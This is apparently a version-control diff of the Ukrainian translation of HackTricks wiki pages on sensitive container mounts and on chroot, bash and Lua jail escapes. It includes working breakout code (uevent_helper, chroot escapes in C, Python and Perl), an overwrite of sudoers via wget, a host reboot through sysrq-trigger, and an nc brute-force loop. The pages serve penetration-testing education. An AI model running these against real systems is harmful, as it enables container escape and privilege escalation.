<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Викладення `/proc` та `/sys` без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атаки та розголошення інформації. Ці каталоги містять чутливі файли, якщо їх неправильно налаштовано або доступ до них має несанкціонований користувач, це може призвести до втечі контейнера, модифікації хоста або надання інформації, яка допоможе в подальших атаках. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.
|
||||
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
Викладення `/proc` та `/sys` без належної ізоляції простору імен створює значні ризики безпеки, включаючи збільшення поверхні атак та розголошення інформації. Ці каталоги містять чутливі файли, які, якщо неправильно налаштовані або доступні для несанкціонованого користувача, можуть призвести до втечі контейнера, модифікації хоста або надання інформації, яка допоможе в подальших атаках. Наприклад, неправильне монтування `-v /proc:/host/proc` може обійти захист AppArmor через його шляхову природу, залишаючи `/host/proc` незахищеним.
|
||||
|
||||
**Ви можете знайти додаткові деталі щодо кожної потенційної уразливості за посиланням** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
|
@ -50,7 +55,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до
|
|||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
* Згадується в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Глобальний прапорець, який контролює, чи викликати аварійне завершення ядра або викликати OOM killer при виникненні умови OOM.
|
||||
* Глобальний прапорець, який контролює, чи викликати паніку ядра, чи викликати вбивцю OOM при виникненні умови OOM.
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
|
@ -62,8 +67,8 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Перевірка доступу до
|
|||
* Дозволяє реєструвати інтерпретатори для неіноземних бінарних форматів на основі їх магічного числа.
|
||||
* Може призвести до підвищення привілеїв або доступу до оболонки root, якщо `/proc/sys/fs/binfmt_misc/register` доступний для запису.
|
||||
* Відповідний експлойт та пояснення:
|
||||
* [Poor man's rootkit via binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Підробиці в уроці: [Посилання на відео](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
* [Rootkit від простої людини через binfmt\_misc](https://github.com/toffan/binfmt\_misc)
|
||||
* Підробиці уроку: [Посилання на відео](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Інші в `/proc`
|
||||
|
||||
|
@ -83,28 +88,28 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост
|
|||
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
* Викриває повідомлення кільцевого буфера ядра.
|
||||
* Відкриває повідомлення кільцевого буфера ядра.
|
||||
* Може допомогти в експлойтах ядра, витоках адрес та наданні чутливої системної інформації.
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
* Перераховує символи ядра та їх адреси.
|
||||
* Перераховує експортовані символи ядра та їх адреси.
|
||||
* Необхідний для розробки експлойтів ядра, особливо для подолання KASLR.
|
||||
* Інформація про адресу обмежена з `kptr_restrict` встановлено на `1` або `2`.
|
||||
* Інформація про адресу обмежена з `kptr_restrict`, встановленим на `1` або `2`.
|
||||
* Деталі в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
* Взаємодіє з пристроєм пам'яті ядра `/dev/mem`.
|
||||
* Історично вразливий до атак підвищення привілеїв.
|
||||
* Докладніше в [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
* Докладніше у [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
|
||||
* Представляє фізичну пам'ять системи у форматі ядра ELF.
|
||||
* Читання може витікати вміст пам'яті хоста та інших контейнерів.
|
||||
* Великий розмір файлу може призвести до проблем з читанням або аварійної зупинки програмного забезпечення.
|
||||
* Детальне використання в [Вивантаження /proc/kcore в 2019 році](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
* Докладне використання у [Вивантаження /proc/kcore в 2019 році](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
|
@ -114,43 +119,43 @@ echo b > /proc/sysrq-trigger # Перезавантажує хост
|
|||
#### **`/proc/mem`**
|
||||
|
||||
* Альтернативний інтерфейс для `/dev/mem`, що представляє фізичну пам'ять.
|
||||
* Дозволяє читання та запис, зміна всієї пам'яті потребує вирішення віртуальних у фізичні адреси.
|
||||
* Дозволяє читання та запис, для зміни всієї пам'яті потрібно розробити віртуальні адреси.
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
|
||||
* Повертає інформацію про планування процесів, обходячи захисти простору імен PID.
|
||||
* Викриває назви процесів, ідентифікатори та ідентифікатори cgroup.
|
||||
* Повертає інформацію про планування процесів, обходячи захист PID простору імен.
|
||||
* Розкриває назви процесів, ідентифікатори та ідентифікатори cgroup.
|
||||
|
||||
#### **`/proc/[pid]/mountinfo`**
|
||||
|
||||
* Надає інформацію про точки монтування в просторі імен монтування процесу.
|
||||
* Викриває місце розташування `rootfs` контейнера або зображення.
|
||||
* Надає інформацію про точки монтування в просторі імен процесу.
|
||||
* Розкриває місце розташування `rootfs` або зображення контейнера.
|
||||
|
||||
### Уразливості `/sys`
|
||||
|
||||
#### **`/sys/kernel/uevent_helper`**
|
||||
|
||||
* Використовується для обробки ядерних пристроїв `uevents`.
|
||||
* Запис до `/sys/kernel/uevent_helper` може виконати довільні скрипти при спрацюванні `uevent` тригерів.
|
||||
* Використовується для обробки подій ядра `uevents`.
|
||||
* Запис до `/sys/kernel/uevent_helper` може виконати довільні скрипти при спрацюванні `uevent`.
|
||||
* **Приклад експлуатації**: %%%bash
|
||||
|
||||
## Створює пейлоад
|
||||
#### Створює навантаження
|
||||
|
||||
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
|
||||
|
||||
## Знаходить шлях хоста з монтування OverlayFS для контейнера
|
||||
#### Знаходить шлях хоста з монтування OverlayFS для контейнера
|
||||
|
||||
host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
||||
|
||||
## Встановлює uevent\_helper на шкідливий помічник
|
||||
#### Встановлює uevent\_helper на шкідливий помічник
|
||||
|
||||
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
|
||||
|
||||
## Запускає uevent
|
||||
#### Запускає подію uevent
|
||||
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
|
||||
## Читає вивід
|
||||
#### Читає вивід
|
||||
|
||||
cat /output %%%
|
||||
#### **`/sys/class/thermal`**
|
||||
|
@ -168,8 +173,8 @@ cat /output %%%
|
|||
|
||||
#### **`/sys/firmware/efi/vars` та `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Викриває інтерфейси для взаємодії з змінними EFI в NVRAM.
|
||||
* Неправильна конфігурація або експлуатація може призвести до "замурованих" ноутбуків або незавантажуваних хост-машин.
|
||||
* Викриває інтерфейси для взаємодії зі змінними EFI в NVRAM.
|
||||
* Неправильна конфігурація або експлуатація може призвести до "кирпатих" ноутбуків або незавантажуваних хост-машин.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
|
@ -182,16 +187,21 @@ cat /output %%%
|
|||
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити **рекламу вашої компанії в HackTricks** або **завантажити HackTricks у PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або групи **telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# Escaping from Jails
|
||||
# Втеча з в'язниці
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
Інші способи підтримки HackTricks:
|
||||
|
||||
* Якщо ви хочете побачити вашу **компанію рекламовану в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
|
||||
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
|
||||
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **GTFOBins**
|
||||
|
||||
**Шукайте на** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **якщо ви можете виконати будь-який виконуваний файл з властивістю "Shell"**
|
||||
**Шукайте на** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **можливість виконання будь-якого виконуваного файлу з властивістю "Shell"**
|
||||
|
||||
## Втечі з Chroot
|
||||
## Втеча з Chroot
|
||||
|
||||
З [вікіпедії](https://en.wikipedia.org/wiki/Chroot#Limitations): Механізм chroot **не призначений для захисту** від умисного втручання **привілейованими** (**root**) **користувачами**. На більшості систем контексти chroot не стекаються належним чином, і програми, які працюють в chroot з достатніми привілеями, можуть виконати другий chroot, щоб вийти.\
|
||||
З [вікіпедії](https://en.wikipedia.org/wiki/Chroot#Limitations): Механізм chroot **не призначений для захисту** від умисного втручання **привілейованими** (**root**) **користувачами**. На більшості систем контексти chroot не правильно стекаються, і програми, які працюють у chroot з достатніми привілеями, можуть виконати другий chroot, щоб вийти.\
|
||||
Зазвичай це означає, що для втечі вам потрібно бути root всередині chroot.
|
||||
|
||||
{% hint style="success" %}
|
||||
|
@ -30,24 +31,30 @@
|
|||
### Root + CWD
|
||||
|
||||
{% hint style="warning" %}
|
||||
Якщо ви **root** всередині chroot, ви **можете втекти**, створивши **інший chroot**. Це тому, що 2 chroot не можуть існувати одночасно (в Linux), тому якщо ви створите папку, а потім **створите новий chroot** в цій новій папці, бувши **поза ним**, ви тепер будете **поза новим chroot** і, отже, ви будете в ФС.
|
||||
Якщо ви **root** всередині chroot, ви **можете втекти**, створивши **інший chroot**. Це тому, що 2 chroot не можуть існувати одночасно (у Linux), тому якщо ви створите папку, а потім **створите новий chroot** у цій новій папці, бувши **поза ним**, ви тепер будете **поза новим chroot** і, отже, ви будете в ФС.
|
||||
|
||||
Це відбувається тому, що зазвичай chroot НЕ переміщує вашу робочу директорію до вказаної, тому ви можете створити chroot, але бути поза ним.
|
||||
Це трапляється, оскільки зазвичай chroot НЕ переміщує вашу робочу директорію до вказаної, тому ви можете створити chroot, але бути поза ним.
|
||||
{% endhint %}
|
||||
|
||||
Зазвичай ви не знайдете бінарний файл `chroot` всередині в'язниці chroot, але ви **можете скомпілювати, завантажити та виконати** бінарний файл:
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
<details>
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
|
||||
\`\`\`c #include #include #include
|
||||
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||
|
||||
````
|
||||
int main(void)
|
||||
{
|
||||
mkdir("chroot-dir", 0755);
|
||||
chroot("chroot-dir");
|
||||
for(int i = 0; i < 1000; i++) {
|
||||
chdir("..");
|
||||
}
|
||||
chroot(".");
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -62,91 +69,99 @@ for i in range(1000):
|
|||
os.chdir("..")
|
||||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
````
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Перл</summary>
|
||||
|
||||
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
chroot "chroot-dir";
|
||||
foreach my $i (0..1000) {
|
||||
chdir ".."
|
||||
}
|
||||
chroot ".";
|
||||
system("/bin/bash");
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Збережений fd
|
||||
|
||||
{% hint style="warning" %}
|
||||
Це схоже на попередній випадок, але в цьому випадку **зловмисник зберігає файловий дескриптор до поточного каталогу**, а потім **створює chroot в новій папці**. Нарешті, оскільки він має **доступ** до цього **FD** **поза** chroot, він отримує до нього доступ і **вибирається**.
|
||||
Це схоже на попередній випадок, але в цьому випадку **зловмисник зберігає файловий дескриптор у поточному каталозі**, а потім **створює chroot у новій папці**. Нарешті, оскільки він має **доступ** до цього **FD** **поза** chroot, він отримує до нього доступ і **вибирається**.
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
\`\`\`c #include #include #include
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||
|
||||
````
|
||||
int main(void)
|
||||
{
|
||||
mkdir("tmpdir", 0755);
|
||||
dir_fd = open(".", O_RDONLY);
|
||||
if(chroot("tmpdir")){
|
||||
perror("chroot");
|
||||
}
|
||||
fchdir(dir_fd);
|
||||
close(dir_fd);
|
||||
for(x = 0; x < 1000; x++) chdir("..");
|
||||
chroot(".");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Fork + UDS (Unix Domain Sockets)
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
{% hint style="warning" %}
|
||||
FD може бути переданий через Unix Domain Sockets, тому:
|
||||
|
||||
FD можна передавати через Unix Domain Sockets, тому:
|
||||
|
||||
* Створіть дочірній процес (fork)
|
||||
* Створіть UDS, щоб батько і дитина могли спілкуватися
|
||||
* Запустіть chroot у дочірньому процесі в іншій папці
|
||||
* У батьківському процесі створіть FD папки, яка знаходиться поза новим chroot дочірнього процесу
|
||||
* Передайте цей FD дочірньому процесу, використовуючи UDS
|
||||
* Створити дочірній процес (fork)
|
||||
* Створити UDS, щоб батько і дитина могли спілкуватися
|
||||
* Запустити chroot у дочірньому процесі в іншій папці
|
||||
* У батьківському процесі створити FD папки, яка знаходиться поза новим chroot дочірнього процесу
|
||||
* Передати цей FD дочірньому процесу за допомогою UDS
|
||||
* Дочірній процес змінює поточну директорію на цей FD, і через те, що вона знаходиться поза його chroot, він вибереться з в'язниці
|
||||
{% endhint %}
|
||||
|
||||
</div>
|
||||
|
||||
###  Root + Mount
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
### Root + Mount
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Монтування кореневого пристрою (/) в каталог всередині chroot
|
||||
* Chroot в цей каталог
|
||||
|
||||
Це можливо в Linux
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
### Root + /proc
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Монтування procfs в каталог всередині chroot (якщо ще не)
|
||||
* Шукайте pid, у якого інший корінь/поточна директорія, наприклад: /proc/1/root
|
||||
* Chroot в цей запис
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* Створіть Fork (дочірній процес) і chroot в іншу папку глибше в файловій системі та CD на неї
|
||||
{% hint style="warning" %}
|
||||
* Створити Fork (дочірній процес) і chroot в іншу папку глибше в FS та CD на неї
|
||||
* З батьківського процесу перемістіть папку, де знаходиться дочірній процес, в папку перед chroot дітей
|
||||
* Цей дочірній процес виявить себе поза chroot
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
### ptrace
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
{% hint style="warning" %}
|
||||
* Колись користувачі могли налагоджувати власні процеси з процесу самого себе... але це більше не можливо за замовчуванням
|
||||
* У будь-якому випадку, якщо це можливо, ви можете використовувати ptrace в процесі та виконати shellcode всередині нього ([див. цей приклад](linux-capabilities.md#cap\_sys\_ptrace)).
|
||||
|
||||
</div>
|
||||
{% endhint %}
|
||||
|
||||
## Bash Jails
|
||||
|
||||
|
@ -159,96 +174,84 @@ echo $PATH
|
|||
env
|
||||
export
|
||||
pwd
|
||||
````
|
||||
|
||||
#### Зміна PATH
|
||||
```
|
||||
### Зміна PATH
|
||||
|
||||
Перевірте, чи можете ви змінити змінну середовища PATH
|
||||
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
|
||||
#### Використання vim
|
||||
|
||||
### Використання vim
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
|
||||
#### Створення скрипту
|
||||
### Створення скрипту
|
||||
|
||||
Перевірте, чи можете ви створити виконуваний файл з вмістом _/bin/bash_
|
||||
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
|
||||
#### Отримання bash з SSH
|
||||
### Отримання bash з SSH
|
||||
|
||||
Якщо ви отримуєте доступ через ssh, ви можете скористатися цим трюком для виконання оболонки bash:
|
||||
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
|
||||
#### Оголошення
|
||||
|
||||
### Оголошення
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||
```
|
||||
|
||||
#### Wget
|
||||
### Wget
|
||||
|
||||
Ви можете перезаписати, наприклад, файл sudoers
|
||||
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
|
||||
#### Інші трюки
|
||||
### Інші трюки
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io)\
|
||||
**Також може бути цікавою сторінка:**
|
||||
|
||||
### Python Jails
|
||||
{% content-ref url="../bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../bypass-bash-restrictions/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Трюки щодо виходу з Python-в'язниць на наступній сторінці:
|
||||
## Python Jails
|
||||
|
||||
### Lua Jails
|
||||
Трюки щодо виходу з Python в'язниць наступної сторінки:
|
||||
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Lua Jails
|
||||
|
||||
На цій сторінці ви можете знайти глобальні функції, до яких у вас є доступ всередині Lua: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**Оцінка з виконанням команд:**
|
||||
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
|
||||
Деякі трюки для **виклику функцій бібліотеки без використання крапок**:
|
||||
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
|
||||
Перерахуйте функції бібліотеки:
|
||||
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
|
||||
Зверніть увагу, що кожного разу, коли ви виконуєте попередню однорядкову команду в **різному середовищі lua, порядок функцій змінюється**. Тому, якщо вам потрібно виконати певну функцію, ви можете виконати атаку методом брут-форс, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки le:
|
||||
|
||||
Зверніть увагу, що кожного разу, коли ви виконуєте попередню однорядкову команду в **різному середовищі lua, порядок функцій змінюється**. Тому, якщо вам потрібно виконати одну конкретну функцію, ви можете виконати атаку методом грубої сили, завантажуючи різні середовища lua та викликаючи першу функцію бібліотеки le:
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
|
@ -259,17 +262,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
|||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
|
||||
**Отримати інтерактивну lua оболонку**: Якщо ви знаходитесь всередині обмеженої lua оболонки, ви можете отримати нову lua оболонку (і, сподіваємося, необмежену), викликавши:
|
||||
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
|
||||
### Посилання
|
||||
## Посилання
|
||||
|
||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Слайди: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте взлом AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
